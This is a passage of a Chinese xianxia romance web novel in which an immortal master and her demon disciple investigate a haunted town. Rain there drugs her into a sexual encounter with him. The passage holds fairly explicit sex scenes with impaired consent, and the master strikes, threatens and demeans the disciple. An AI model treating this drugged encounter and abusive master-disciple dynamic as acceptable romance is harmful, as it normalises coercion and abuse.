云恒被这病折磨得气若游丝,她道:“一切都好,今日怎得又与我通灵,这些时日可是思念我了?小镜儿。”
我听她如此还与我玩笑,不禁道:“所以你何时才能好起来?就是病了也要打趣我。”
云恒笑了一声道:“过几日便好了。”
我点
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头:“那便好。”
“若你好了,便不必来碧水瑶台寻我,我怕你跑空。”
云恒一怔,她问道:“你……要去何处?”
我将前几日去西王母那处后,她交代我做的事情,与云恒简略的讲了。
云恒沉默一阵后道:“小镜儿预备带哪几个弟子去?”
她的声音突然变得有些沉闷,叫我不太适应。
我道:“段灼。”
云恒问:“为何是他?”
我:“你是不是又要觉得我爱上他了?”
“此次去需要隐藏法力,才让段灼与我同去。”
云恒还是沉默,后来她幽幽问:“谁问你了?”
是的,谁问我了?
我为何就这般急急脱口而出说云恒要问我是不是爱上段灼了?
倒像是……心虚。
我的神色透过通灵阵,看向正规矩站在我殿中的段灼。
我扫过他乌黑的发,苍白的肌肤,狭长又低垂的双眸,玄色的衣裳及……被玄衣紧束的腰,我将视线挪开了。
我与云恒道:“嗯……我只是不想被误会。”
云恒叹了口气,又道:“你从前还与我说过,碧水瑶台有几个修为出众些的弟子。”
有些话有些事是不能与云恒说的。
我望着殿外雷声轰鸣的景象,与云恒道:“我先不与你说了,即刻便要去雁山镇,其余事之后再说。”
云恒还在那头道:“封镜你真是……”
我挂断了通灵,却见屋外的雨比方才还大,但今日我与段灼必须去。
我道:“走。”
段灼看着屋外的雨雷同奏的场景,点了点头:“是。”
我与他方出门一步,段灼走在我身上,天上一道惊雷劈下,“轰隆”一声,正好劈在我的脚边。
我:“……”
作为神仙,出门差点被雷劈,也是第一次。
我不禁想起,我曾与云恒说过,我喜欢上段灼的概率比我出门被雷劈的概率还小。
如今……谁知道真的差点被雷劈中了。
段灼见那声惊雷下,走到我身前,问道:“师尊,可有事?”
我退开一步,或许是想起了方才的事,与段灼说话声音也不自觉冷些了:“无事。”
我看着他落在雨中的一半身子,我觉得有事的应该是他。
我道:“撑伞。”
段灼点头道:“是。”
其实我觉得我的心情并没有这么差,哪里至于到电闪雷鸣的地步。
本来今日准备御剑,如今想来,还是腾云便捷。
等我带着段灼腾云到碧水瑶台之外,才发现原来打雷的不只是碧水瑶台,而是整个仙界。
想必是风师雨伯二人又在作妖,我不知雨伯是否知晓我今日要去雁山镇,不过在我看来,那一记惊雷,我已经归咎在雨伯,和这个宠弟狂魔风师身上了。
等着,今日我便去将他那弟子手刃了。
我心中恨恨想着。
不过显然,从上次风师雨伯的对话中,我能听出来,雨伯似乎也不大在意他这个半途的弟子,甚至教了一段时间便丢了。
那他跟我一样,都还挺不负责的。
这么想来,我似乎没有任何说他的立场。
38. 第三十八章
雁山镇在赤水以北,四季温和,百年来亦并无极端天气,燕山镇中,民风淳朴,勤于耕种,鲜少有外来者,俨然如世外桃源。
赤水发源于昆仑山,东南流,注入汜天之水,赤水周围,生灵环绕,生长着一种名曰“三株树”的树,其上长满了珍珠,也因此有许多栖赤水的小镇村落,亦有来往而络绎不绝的商贩。
而虽说都临近赤水,然若是从赤水往西北面去,却有截然不同的景象。
赤水以北之处,百里荒芜,环境恶劣,人烟罕至,此处关押着一个罪仙。
我想起那日西王母还特意交代我,切莫再往北走,她或许想着,我是小辈,想来容易对什么都好奇。
但我并无这个想法,我只想快些了结了此事,继续去天上做我的闲散神仙,顺便让段灼快点死。
我瞥了一眼身边比我高出许多的段灼,他的肩被雨水淋湿了,自己也并不在意。
段灼眉目间一片冷色,神色锐利,不曾看我,亦不曾与我多言,只是方才出碧水瑶台时,偶尔会抬头看看天上的雨。
他昨日说着,会继续喜欢,可今日就连看我的次数都变少了。
他口中所谓的喜欢不过如此。
不过我并不在意这些,不喜欢最好。
我别过头不再看他,又摸了摸发间的簪子,别过耳后的青丝,段灼的神色有一瞬落在我身上,却也只是一瞬,而后便迅速挪开了。
那日我还曾想,在预知梦中,我是仙,却成了坏人,段灼是妖,却成了惩治我的好人,未免荒谬。
可如今我又觉得,其实我确实挺坏的,亦不配做个神仙,毕竟我想杀了如今尚且无辜的段灼。
自小我爹娘教育我,为仙者,需心怀大义,能力越强,责任越大。
那时我便还嘴:“我不,旁人与我有何干系?我只愿娘亲与爹爹天天开心。”
我娘只是露出一抹无奈的微笑,“为仙,其实也会有许多的身不由己,之之日后长大便知晓了。”
如今的我理解了我娘口中的“身不由己”,却理解不了她口中的“心怀大义。”
可惜儿时他们的谆谆教诲,一点都未曾进我的耳中。
我心中觉得,为了自己活下去,与为了自尊而死是同样的道理,我不信这仙界的仙都这般如表面洁白无瑕,拥有时刻警醒自己的神性,能将私欲,将自私自利那一面完完全全压制下去。
反正,我是不行。
但我也与他们有相似之处,这些龌龊之事,我不会摆在表面,甚至不曾与云恒说。
*
等出了仙界的地盘,从昆仑山再往赤水去,雷声消匿,雨逐渐小了。
我问段灼:“我教你的屏气敛息之术可还记得?”
段灼点头:“记得。”
其实我这个问题有些多余,毕竟也不是只学了一日,怎可能这么快便忘了?思来想去,是我当师尊久了,竟也有了些“职业病”,日日对着这群不争气的徒弟耳提命面。
过了赤水,又下起淋漓的小雨,天色暗淡,乌云压了下来。
再往前走便是雁山镇。
往下看,倒是不见从前雁山镇那绿意盎然的样子,而今是剩下一片颓然的荒凉,被雨浇灌的雾蒙蒙、鬼森森的,镇上不见行人,亦不见商铺开门。
这乌云只在雁山镇上方,似乎是刻意只针对雁山镇落下的雨,甚是古怪。
我看了段灼一眼,又看了我自己一眼,他穿一身黑,我穿一身白。
在这样视野不清的雨天,段灼的肌肤惨白得吓人。
别说是开门了,就是开一条缝,看到段灼惨白的肤色,漆黑的衣裳,估计都会觉得是去收他们的阎罗鬼差。
雁山镇附近有一家客栈,那客栈周边只有一小片乌云,这雨可比镇中小多了。
我指着那客栈道:“你先与我去这客栈中住一夜,明日再进镇。”
段灼从不多言,今日却问了我一声“为何”。
我自上到下打量着段灼,他身上虽然并无魔气,只是这副漆黑到与这雾蒙蒙的雨近乎融合在一起的模样,不说话之时,眉峰与神色冰冷,肤白若雪。
他似乎全然不知,自己身上透露着一种森白的鬼气。
我道:“算了,你不懂,住店就是了。”
段灼急道:“我懂。”
见我不说话,他又重复道:“我懂,师尊。”
我叹了口气:“我怕你吓到别人。”
段灼又低下头,鬓发扫过他的双眸,他不再说话:“……”
落地之后,雨很小甚至不用撑伞,此处已经闻得到些雨中的香气,我与段灼屏气敛息后,淋了些雨,才到客栈中去。
客栈中点着几盏不大明亮的灯,只有掌柜的和一店小二正坐着闲谈,阴雨连绵,想来近日生意不好。
不过这二人老远的就瞅着我跟段灼了。
店小二撑着伞,弓着腰,踩着雨水,一路小跑到我与段灼面前。
他道:“二位客官怎么不撑伞?不知是打尖儿还是住店?”
我道:“住店。”
“这样小的雨何用撑伞?”
店小二一愣,却也并未多说什么,只是陪着笑了两声,引着我与段灼进了客栈。
老板为我们二人倒了热茶暖身,他问道:“二位客官怎得不撑伞?不知是从哪儿来,又要去往何处?”
这已是他们第二次问及撑伞的事了,我心中觉得奇怪,难道这雨水有问题?
我来之时,可从未听西王母那边的人说过。
我道:“我们是从北边来的,不过是四处游历的闲人,在来的路上风大,将伞吹坏了。”
那老板着我与段灼,有些了然道:“二位可是除妖师?想必是第一次来雁山镇罢。”
他既然给我一根藤,我便顺着藤往上了,我点头道:“自然。”
老板点头道:“想必二位是不清楚雁山镇规矩的,雁山镇的人乃至周边的人,若逢雨天,是必须要撑伞的。”
我问道:“为何?”
老板左右细看着,就像是周边还有别的人,店小二将客栈的门关上,一阵闭塞的风吹着桌上盛着热茶的杯盏叮呤咣啷一阵响动,吹到手边也是一阵凉意。
掌柜横眉,怒斥道:“笨手笨脚的,若是将客人吹病了怎么办!”
店小二忙认错:“对不住二位客官,实在是对不住!”
我道:“倒也无事。”
掌柜笑道:“姑娘心善。”
我问:“您方才道,雁山镇的规矩是雨天撑伞,这是为何?”
掌柜道:“二位不知,这雁山镇的雨是淋不得的,雨中有妖物,若是不撑伞便会被妖物看见,会被盯上捉去吃了!镇中不少姑娘都是如此没了性命哩!”
“姑娘记得,下次可定要撑伞,莫管这雨大还
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是小。”
我道:“多谢提醒。”
掌柜的又转头问起沉默寡言的段灼:“不知姑娘与这位公子是什么关系?”
我抬头看着段灼,段灼也正看着我,大抵是心中有尊卑之分,段灼只是站在我身边,并未坐下。
我道:“我与他……”
我想起云恒与我说的那些话本里的故事,按照那里面的故事,想来,我应该说段灼是我的……夫君。
我道:“我与他,是姐弟关系。”
段灼道:“阿姐。”
我回头看了段灼一眼,他一双如水沉沉的眼眸落在我身上,苍白的脸颊稍上了一缕若有若无的红。
段灼确实像我弟弟,他生了副好看的少年容貌,梳着高马尾,额间一点朱砂色。
不过,我觉得我长得跟段灼一点也不像。
那掌柜了然一笑:“我也瞧着二位都生得好看,原是姐弟,那便不奇怪了。”
“天色已晚,二位不如早些上楼歇息,明日再进雁山镇也不迟。”
我道:“尚可。”
我与段灼上楼之时,看到楼上的房间几乎都是空着的,可这掌柜的却将我与段灼安排在了长廊左右两边尽头处的房间。
按常理来说,我与他同行,应当就近安排我们才是,为何会刻意分开,不过我并未多问,掌柜的便先道。
“如此安排亦是为了二位好,夜里无论是谁敲门,都莫要打开,若遇妖遇魔,我可说不清了。”
我将手搭在段灼的手腕处,他微微一颤,随后回眸看向我。
我嘱咐道:“今夜万事小心。”
段灼小声又简短地回答我。
“好。”
他的视线静悄悄落在我身上,与我对视,或是垂眸看着我轻轻落在他手臂上的指尖。
我意识到他的目光后,轻轻将手放下,别过头不再看他,往尽头处的房间走去。
我打定了主意今夜不睡觉,故而就算是触碰段灼,我亦不在乎,因为我不会睡觉,便不会做梦。
我一边走一边观察着,我与段灼中间隔了许多间屋子,而这些屋子里并无活人的气息。
这间客栈似乎只有我与段灼,还有掌柜的与店小二四人。
我一边想着,一边感受着身后凝视着我的目光,而后又悄无声息消失在转角处。
我听见段灼开门“吱呀”一声,再合上门,想来他已经进了房间。
我开门进到屋里后,听着屋外掌柜的脚步声逐渐走远。
我环视一周,这屋子漆黑破旧,有一扇半开半关的窗户,桌上点着灯,房中有些香气。
想来是窗户无法完全关上,从屋外透进来的香气。
这点香气于我而言,无法产生影响。
我闻着那香气,觉得有些古怪,房中昏暗,我听着雨打屋檐,还有风吹着窗户吱呀作响的声音,竟不知不觉昏然睡去了。
我从未在关键时刻掉过链子,想来是被什么东西下套了。
昏厥之前,我这么想着。
不知过去多久,恍惚间我睁开眼,竟发现自己正摇摇晃晃走在客栈的长廊上。
我低着头,看着脚边一块块带着裂缝的木板,经年累月,客栈陈旧不堪。
我踩在地板上,吱呀作响,我停在了一个房门前,缓缓转身,眼前的这扇门变得摇晃,我看见我自己缓缓伸出手,将那门推开了。
39. 第三十九章
视线逐渐变黑,我的意识再一次消散。
第二次睁开眼睛,我已经进入那扇门,走到了房间内。
此处的陈设与我房中相差无几,我正坐在床边,微微抬头。
我能够看清眼前的场景,却无法控制身体的动向。
我的身前半跪着一个浑身漆黑的人,他的身体微微耸动,呼吸起伏,有一双如狼的眼睛正在不动声色盯着我,像是在看猎物。
我的记忆告诉我,是我自己过来的。
但我无法控制自己的身体,就连过来亦不是我自愿的。
我的身体是热的、烫的,最深处连着根的地方,似乎被炽热滚烫的东西灼烧着,这种炽热影响着我的神经、意识和视线。
我抬眼看他,我想如今我的神色亦如洪水猛兽那般,正贪婪无比地落在他身上。
破旧的窗户,被屋外的雨连带着风声拍得吱呀作响。
他从黑暗中出来,我看着他与纸一般苍白的脸色有一个手印。
这是我扇的。
我与他对视,他那双常年沉寂的眼眸中有些泪水。
他的眼睛与夜色一般漆黑,也正如这夜色环绕在我身边。
我的思考变得有些迟钝,是目色茫然的看着周围的一切。
直至身边的少年接过我的指尖,轻声唤道:“师尊……”
他的话音带着些怯怯,还有些欲言又止。
我的记忆被截断了,想不起来方才究竟发生了些什么,但我看着他,纵然方才不受控制,纵然记忆出现了断片,我也能够明白,是我扇了他一巴掌。
我的行为失控,让我知晓了如今我是在梦中。
只是我左右细看,觉得眼前的段灼似乎与上一次在梦中见到的有些不同。
不过我想,他阴晴不定,行事作风向来想一出是一出,若是不同,倒也正常。
我转头看向他,他的衣色与黑夜融合,冰冷的指尖勾勒着我手背上的脉络。
我微微歪头:“嗯?”
他并未在说什么,只是看着我,眼中水色,脸颊泛红,半跪在我面前,他那张好看的脸,苍白的肤色,还有些许细微变化的神色,一一在我面前放大。
这副踌躇又可怜的模样我并不少见,偶尔叫我见了觉得趣味横生,偶尔又让我觉得厌烦无比。
我说梦中段灼阴晴不定,我自己何尝不是阴晴不定呢。
我倾身而下,咬住了他的唇,他的瞳孔骤然放大,就连方才抓住我的手也逐渐松开,我看着他这副手足无措的样子,倒是心情出奇的好。
我咬他的唇,或者含着唇珠舔舐,他并无动作,不回应也不拒绝,木楞得像块石头。
我心道,与梦境之外的段灼倒是有几分像,不知他又是从何处学来的。
我将他的唇磨蹭得鲜红欲滴,才与他分开。
在我从他身前离开的那一瞬,我看见他眼中赤红,泪水如江海,奔涌而出,他别过头,擦拭着鲜红的唇。
我见他这副模样有些发笑,我问道:“你为何又是这副模样?”
段灼闻言一怔,看向我,眼中还有些熠熠泪光,他哑声道:“师尊……我……”
他的五指微曲,一副手足无措的模样。
我抬起指尖,勾着他的衣领,微微倾身,指尖刮着他脸颊处的伤痕道:“你我之间,什么是没做过的?”
他双眸微微放大,像是我所言字句是什么惊世骇俗的话一般。
我又问:“我身上的何处你没摸过、亲过?”
段灼涨红了脸,我的话既叫他惊讶又无措,段灼抿唇道:“我并未……与师尊做过这些?”
我不知段灼究竟在玩些什么花样,不过离上次我与他耳鬓厮磨已经过去许久了。
我笑:“若是再做,不就做过了?”
我频繁用手去扯着胸前腰间将这衣裳紧紧缠绕在我身上如蛇般盘踞的系带,他们几乎将我桎梏着喘不上气来。
我并未将浑身上下的燥热放在心上,毕竟我知晓这是在梦中,什么都有可能发生。
段灼那双漆黑的眸,落在我浑身各处,亦如这系带,亦如蛇蝎,紧紧缠住我。
段灼吐出一个字:“不……”
我看着他雨淋湿的眸,恍然间我忆起了梦外的段灼,我让他不要再喜欢我了,他也是这般看着被我,说“不”的。
我扇了他一巴掌,清脆的声音落地,我看着他别过头,指尖微微颤动,却并未反抗我。
这时,我才意识到自己又做了些什么。
我道:“你竟敢忤逆我?”
我的怒气夹杂着恨,预知梦的恨,他多次忤逆我的恨,只是这种恨不是长久的恨,或许转瞬即逝。
屋外风雨飘摇,电闪雷鸣,骤然一声巨响,将面前自我醒来后,便半跪在地上的段灼的面容照了个透亮。
他眉眼间结着霜雪,与这光亮一同,凝视着我。
他抖了抖唇,沉声道:“弟子……不敢。”
他与前几次并不同,却亦像前几次那般喜欢抱着我,喜欢依偎在我怀中,喜欢与我痴缠,衣裳
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落地,屋外的风雨与少年冰冷的吻,暂且可以缓解浑身的燥热。
他亦喜欢声声唤我师尊。
他抬起头,找寻许久,却始终不知究竟该落在何处,我双髀微张,看着他这副慌乱的模样,有些失笑。
我将他引入。
“嘶——”
我皱眉,却不由得长叹一声。
段灼听见我的声音,动作停了,他小心翼翼问道:“师尊,我……”
我抬手止住他的话,双手缠绕住他,呼出两口浊气,轻声道:“继续。”
不知过了多久,疼痛感消散。
我沉醉在其中,亦在心中想着,或许是方才的动作不对,才会叫我觉得痛。
我虽与段灼许多次了,却也只与他一人如此,且还都是梦中。
“师尊……”
段灼颤动,他比前几次更激动些。
他的一双眸落在我身上,我的眉眼处,我受不了他这般快要将我吃掉的神色,不由得攀附上他,叫他无法再多与我对视上一眼。
我道:“别看我……认真些……”
“是,师尊……”
我隐隐觉得不对劲,可如今我亦沉醉在其中,全然分辨不出究竟哪里不对,或者说是无暇分心思考。
今日却觉得,段灼似乎与平常不同,与平常相比。
更大。
今日并未与我说太多的闲话,有些沉默寡言,只是次数更多了。
……
在我失去意识之前,最后又看了一眼段灼那双饱含情-欲,湿漉漉又漆黑的眼眸。
醒来晨光透过窗口落到房中,点点光斑晃着我的眼,我睁开了眼。
浑身上下疼痛不已,就像是被打了一顿,我环顾四周,似乎并不在我的房间里。
我的大脑宕机了。
我记得我做了个梦,做了与段灼的春-梦,不过这对我来说,也是平常事。
最让我遗憾的是,睡着了并未听到昨夜的动静。
不过我又想,照理来说,我能够控制我自己的身体,让身体无法陷入沉睡中,为何昨夜却变得无法控制了?
我现在又在何处?
我尝试着起身,浑身上下疼痛不已,我直起身体,准备打坐运气,却发现衣裳散落一床,衣不蔽体。
我:“……”
我尝试着回忆昨夜的事,有些许零散的记忆向我涌来,却亦让我觉得头疼不已。
正当我不知究竟发生了些什么之时,段灼手中不知提着什么东西,推门进来了。
40. 第四十章
我在原地呆若木鸡,与他对视许久。
我终于反应过来如今我是一副什么模样之时,便迅速将手边不知何物丢了过去,嗔道:“滚出去!”
段灼并未躲开,生生接下,鲜血从他的额间流淌而下,他抬眼无声无息看着我,随后从外面进来,将身后的门关上。
他唤我:“师尊。”
直至那物落地,我才知我丢出去的是床边的烛台。
我问:“我让你进来了吗?”
段灼抬起袖擦拭着额间的鲜血,只是那鲜血干涸,在他的额间伤口处留下了一个印记,衬之他苍白的肤色,显得有些可怜。
段灼双手作揖,与我行礼,沉声道:“启禀师尊,这是我的屋子。”
我:“……”
我很难去理解眼前的情况。
且……
我也意识到这并非我的屋子,可我是如何来的,为何衣裳不整,又为何……浑身酸痛难忍,我却有些不知或者说是宁愿自己不知。
我的后腰又开始疼痛了。
后半夜的记忆逐渐回溯,重新回到了我的脑海中。
段灼见我不说话,又道:“师尊,我向楼下掌柜的要了些吃食,师尊可吃一些?”
“师尊的身体可还舒爽?”
他说着,脸颊泛红。
我:“……”
我知晓这浑身上下的疼痛究竟从何而来了。
我问:“我与你,昨夜……做了些什么?”
其实我心中清楚,却不敢相信我脑子里那些画面是真的。
段灼抬头看我,却也只看了我一眼,便将神色挪开,那模样像不自然,亦像羞怯。
段灼喉中吞咽,轻声道:“我与师尊昨夜……行夫妻之礼。”
“哐当——”一声落地,我将另一边的烛台掀翻了。
“夫妻之礼”四字在我脑中不停回旋。
我终于意识到,我最怕的事情发生了。
我借梦中段灼来疏解,如此不守世间伦理,丧尽师德的事,叫我终于付出了代价。
我与段灼,真的睡了。
我与段灼,行了他口中的夫妻之礼。
段灼见我脸色苍白,久久不言语,又唤道:“师尊?”
“师尊可要吃一些?”
我:“不。”
段灼柔声道:“师尊昨夜累了,多少还是要吃一些,我并未与掌柜说别的,只说阿姐病了。”
他心思细腻周道,亦小心翼翼,叫人说不出错来。
他那张少年的容颜,带着些和煦的笑意。
我看着他这副颇有人夫感的模样,整个心都在颤抖。
我的双手紧紧扣住被褥,吐出三个字音。
“我说,不。”
段灼并未因为我的拒绝而恼怒,而是逐渐靠近我,站在床边,问道:“那师尊想要,或是……想做些什么?”
我看着他,字字句句恨声道:“我要你将昨夜之事忘记,就当……什么都没发生过。”
段灼那和煦的笑容淡去,他变得有些无措,急急握住我的手,问道:“可是我哪里做得不好?我可以学,也可以改……求求师尊不要这般对我……”
他越说,眼中滚滚而出的泪水便越多。
我将手抽了出来,叹气道:“昨夜之事,是误会一场,我并无此意。”
段灼的泪止住了,他看着我,神色变得奇怪起来。
他抓住我的手,看着我字句泣血:“可师尊昨夜分明说,我们什么都做过。”
“可师尊昨夜分明说……”
我看着被他咬得血肉模糊,血肉清晰可见的下唇,他咬牙吐出几个字。
“分明说……喜欢的。”
我垂眸不再看他,我是师尊,可我终于明白,师尊并非做的事都是对的。
今日,是我做了错事。
我道:“梦呓之言,不必当真。”
段灼深吸一口气,问道:“对于师尊来说,我是一只召之即来,挥之即去的狗吗?”
我心中却想的是,甚至不如狗。
碧水瑶台后山中日日将我吵醒的鸡能炖来吃了,养只狗,尚且还能看门。
段灼能够为我做些什么?
我点头,用有些冷的语气答道:“是。”
段灼的手骤然垂下,发遮住双眸,叫我看不清他的神色,我只听见他说:“既如此,那我恨师尊。”
我一直都想让段灼恨我。
可如今他真的恨我了,我心中却说不上是什么滋味。
我下意识抚摸着发间的桃花簪,那清香气似乎萦绕在我的指尖。
仅仅一两日,段灼从喜欢我到恨我,这全都是我一手所为。
我对段灼,说不上恨,亦说不上爱,最多有些不喜欢。
可我要杀他这事已成定局,我想若是他厌恶我、恨我,届时我心中或许就不会有太多的顾虑。
那时我杀他,心中便会想,四海八荒,不过是少了个恨我的小妖,倒也不值得我多挂念。
屋外的雨早就停了,只是土壤尚且湿润,我闻到了空气中土壤的味道。
我总是在想,若是我恨段灼,段灼恨我,我与他之间是恨海情天,见面想要弄死对方,那是不是我就不会想这么多了。
他失魂落魄地看着我,泪雨阑珊,我没有回他说“恨我”的话,而是看着他,看着他眼中如潮水奔涌的泪。
我不说话,他亦不说话。
过了许久以后,我想为他这种恨再添上些干柴,让这火烧得更烈一些。
我冷眼道:“恨我?你可记得昨日你曾
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说,喜欢并非能轻易改变的,那如今你的恨可又要日异月更?”
段灼垂下头。
“我问你,昨夜你看不出来我状态不对?”
“嗯。”
我斥责道:“你既知晓,那为何又要顺遂我的心意如此?!你心中想的那些龌龊事,你以为我会不知!”
如今这话说出来,我倒觉得仙界若是有一个“倒打一耙”榜,我能光荣登顶。
我蜷缩着,让这被褥裹着我的身体,我方才已经看见,我的腿上,身上都是血红色的吻痕,我更知晓,这些都是段灼所为。
而今他垂头半跪着,我与他之间却并无暧昧的氛围。
段灼:“我……”
我将身上的被褥裹得更紧了些,又道:“你来碧水瑶台这些时日,我并未因为你是妖族而苛责过你,反倒收你为徒,悉心教导,助你修炼,如今你却对我产生这样的心思,这碧水瑶台无论如何都容不下你!”
段灼浑身上下都在颤抖,他脸色惨白,血色逐渐退却,双腿骤然跪地,双膝颤颤往我身边挪动。
我听着咚咚咚的声音,看着他挪到我面前,死死握住耷拉在床边的被褥,双眸带着祈求,看向我颤声道:“师……尊……师尊,弟子……弟子知错,求师尊不要赶我走……”
他身后,人间的吃食早就散落一地,豆浆在地上冒着腾腾热气,还有包子馒头什么的,不过都不是我爱吃的。
其实我是个神仙,什么都不爱吃,甚至是几乎都没吃过,就算从前我经常下山,也不曾吃过这些,我亦无口腹之欲。
道行深的妖魔多食人精气,或是食比自己道行浅薄的小妖,可段灼估计日日都在同他那些还未辟谷的师兄们吃凡间的糟糠。
我将目光收回来看着他,其实我这话也只是试探,我不会真的赶他走,我只希望他能乖顺些,不要再做出这样的事。
但我知晓,昨夜之事是我不对,是我走到他房中来的。
我思及此处,突然意识到事情有些不对劲,昨夜的燥热究竟从何而来?
我看向段灼,他还跪在我面前落着泪,我不禁怀疑是不是他在我身上使坏了。
但我左右细看他这副委屈得落泪的模样,却也觉得,似乎也并非是他。
见我眉心紧蹙,段灼心中不安,像是下定决心,垂头开口道:“我会像师尊说的那般,当做什么……什么都没发生过。”
我裹着被褥,上面还带着淡淡的香气,我像在段灼身上闻到过。
昨夜,我曾与他在此上翻云-覆雨,耳鬓厮磨,如今他跪在我面前,说会将这些全都忘却。
我凝眸看着他,开始思考我是否做得太过绝情。
我道:“你可敢发誓,若是再喜欢我,便粉身碎骨,堕入无间地狱,永生永世不得超生?”
41. 第四十一章
段灼看向我,神色寂然,他将下唇咬得血肉模糊后,终于沉声起誓道:“我若是再爱师尊,便受粉身碎骨之痛,堕入无间地狱,永生永世为魔为鬼。”
我见他起誓,终于松了口气,他既同意,那想来便会答应,段灼向来听我的话,若是说了,那便会这般做。
我道:“昨夜之事,便当从未发生过,于你于我,都有好处。”
段灼轻笑一声,他抬眸看向我,神色中有些嘲弄,问道:“师尊觉得,于我究竟有何好处?”
是啊,对段灼来说究竟有何好处?
我想来想去,似乎正如他所言,对他并无好处。
我道:“若是你将昨夜之事当真,我又对你总是漠然,岂不是叫你白白伤心?”
可我又想,不只是今日、往后,更是从前,我对段灼都何其漠然。
段灼自言自语道:“师尊从前对我便不冷漠了?”
他像是在问我,又像是兀自神伤。
我当作并未听见,段灼却又不依不饶继续道:“于我而言这算得上好处?只是于师尊而言多得便利,可全然借此托词,弃我于不顾。”
他直勾勾看着我,神色森然如鬼,字句放慢了放轻了,似一阵风过并未留痕。
还未曾等我再说些什么,段灼便又换回了那副低眉顺眼的模样。
他起身与我道:“弟子先行告退。”
随后看也不看我,便离开了。
他走时还将地上洒落的吃食一并收拾了,那副不言不语的模样与方才那咄咄逼人的样子简直判若两人。
我才明白,就算是狗,着急了也是会咬人的。
我裹着被褥,在床上又坐了一会儿,看着屋外雨过天晴,我尝试着起身,却因周身疼痛难忍,许久都动不了,于是我放弃了。
为仙,无论男女,虽说比妖魔要内敛些,但大多比较放得开,我也不例外,除了不能接受仙魔恋和师徒恋之外,我也觉得与旁人行男欢女爱之事,并不算什么。
我不在意这些,但我在意这个与我行欢爱之事的人竟然是段灼,我想到这里,不禁一阵头痛,这便是我的报应,是我放纵自己在梦中与弟子苟且偷欢的报应。
我与他之间,如今有些理不清了。
*
待了好一会儿,我才从床上爬起来,将衣裳一件件往身上套,遮住段灼昨夜在我身上留下的红痕。
屋内有些简陋的梳妆台上,落了一面铜镜。
我坐在铜镜前,看着自己长发如瀑落下,且一副面容苍白,神色憔悴的模样,全然不像平日里的我,脖颈处还有些无法遮住的痕迹。
身上各处还有疼痛,一闭上眼睛,我便能够回想起我与段灼昨夜的那些事。
他的双手拂过我的身体,如簌簌桃花铺下,将我包裹在其中。
双髀抬起,嵌之。
那些一幕幕清晰的画面,在我脑海中,在铜镜中不断浮现着。
我知晓,段灼当真与梦中一般,尺寸可观。
且还有少年的血气,翻来覆去,一次又一次,给予我,又从我这里拿走别的。
我到处找着簪子,想将发束上,谁知到处都找不到。
这时,段灼在屋外敲门,问道:“师尊,可准备好了?”
我问:“你可看见我的簪子了?”
门外的段灼并未说话,过了一会儿后才道:“在师尊睡的枕头下。”
段灼的声音有些沉闷,不知为何我竟从其中听出些依顺,他这话就像是我与他是夫妻,而他在照顾着我。
但我并未说别的,我只当是云恒看得太多人间的话本,跟我讲了以后,将我也传染了,我回道:“嗯。”
我起身走到床边,掀开枕头,果然有一支簪子,静静躺着,却并非我这几日时常用的桃花簪,而是一支更素一些的簪子。
段灼在门外道:“我想师尊当更喜欢这支一些。”
我拾起那支素色的簪子,属实觉得有些奇怪,便道:“我往日用的桃花簪呢?”
段灼:“扔了。”
我道:“既是你送我的东西,那便是我的,纵然我不喜,也应当由我来决定它的去留。”
我不喜欢他这样自顾自决定我的东西的去留。
段灼又问我:“师尊很在意吗?”
他似乎在希冀着我给他一个好的回答,即便发誓了之后不再喜欢我,他还是会去在意。
我解释道:“此物是我的,我厌恶别人随意处置我的东西,这于我而言,是一种冒犯。”
段灼不说话了,我想他应当是意识到自己的自作多情了。
可我也意识到一件事,从以前开始,我便不在意别人对我的看法,纵然被误会了,也懒得去解释,可今日我还跟段灼解释,想来我是真的想与他撇清关系了。
段灼道:“嗯。”
我听不出他话中的情绪,只听见他的脚步声逐渐走远。
我拾起那支发簪,将自己收拾妥当后,这才出去。
我下楼,看见段灼正坐在客栈一楼的角落中,桌上摆着今晨他给我带到房中,又散了一地的吃食。
我想起那时段灼进房时,脸上还拢着些笑意,我想,他无论如何都想不到我会对他说出那样一番冷酷的话来,叫他忘记,叫他不要再喜欢我了。
他子啊出神,手中还握着落了灰的包子,他将包子往嘴里塞着,又从油纸袋中拿出别的一个个往口中塞着,塞得几乎装不下,塞得他能够一口呕出来,我看着他吞咽,看着他干呕,看着他眼角勾勒些泪痕出来,将这些东西全部咽下后
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,他又咳了许久。
我在原地站了好一会儿,等他慢慢吃完,我才走过去。
我不想管这些事,也不想知晓他如何伤心,我只知道我从他口中得到了自己想要的答案。
我走过去,坐在一边:“你对我如何有意见我都不在意,只是你不能放任情绪去影响今日之事。”
捉妖之事,并非儿戏,稍有不慎,便会被妖魔吞噬,这是我作为师尊必须与他交代的。
段灼看向我,许久没说话叫他嗓音沙哑,他道:“是。”
如此,这件事便翻篇过去。
我回想起昨日之事,我与段灼进入这客栈中,却也并未吃什么,想来便不是掌柜的动的手脚。
我问:“昨日你可觉得热?”
段灼似乎在微微思索,思索过后,他与我道:“未曾。”
那就奇怪了,难道只是影响了我一个人?
思来想去,我决定通灵问问。
通灵音接通以后,那头问道:“女仙可是在除妖的过程中遇到难事了?”
我道:“的确算是难事,我想问,西王母殿中派来雁山镇的人可发觉此处有何异常是关于……浑身变热的?”
西王母殿中的仙娥道:“女仙稍等。”
我道:“有劳了。”
过了许久后,仙娥道:“雁山镇雨水有问题,淋雨会致使浑身变热。”
我:“……”
他们为何不早说?昨夜我与段灼落地后,是淋雨来客栈的。
那仙娥继续道:“且只对仙有效。对不住,女仙,是我事先并未与女仙说明白,是我失职。”
我对此确实有些怨言,不过也不能表现出来,到底是我太信任西王母殿中的人给出的消息,若是我自己小心谨慎一些,想来也能发现。
她又问:“可是女仙那边发生了什么?”
我与段灼那些师徒之间的龌龊事自然不能与别人说。
我搪塞道:“只是昨夜睡觉,觉得浑身莫名燥热,倒也并非大事。”
“如此便好,女仙可还有想问我?”
我问:“仙娥可再想想还有别的事忘记与我说了吗?”
她的话音中带着些歉意:“女仙宽心,再无别的事了。”
通灵音挂断后,我看着面前的段灼,神色复杂,心道我也是错怪他了。
但谁又能说,段灼在此事上一点错都不曾有呢?毕竟他若是拒绝,想来我亦不是强求之人……大概。
我看着眼前有些低眉顺眼的段灼问道:“昨日我有一瞬的清醒,我想知晓,为何你脸上有个巴掌印?”
段灼抬头,眉峰微凝,问道:“师尊当真想知道?”
我心道,难道还是什么我不能听的话吗?
“自然。”
42. 第四十二章
“那时,师尊向我索吻,我心中念着师尊对我向来厌恶……并非自愿,我并未照做,师尊便扇了我一巴掌。”
我心道,封镜啊封镜,我真的不想说你了。
这话也不是段灼能编得出来的。
但我还是问道:“你此言……当真?”
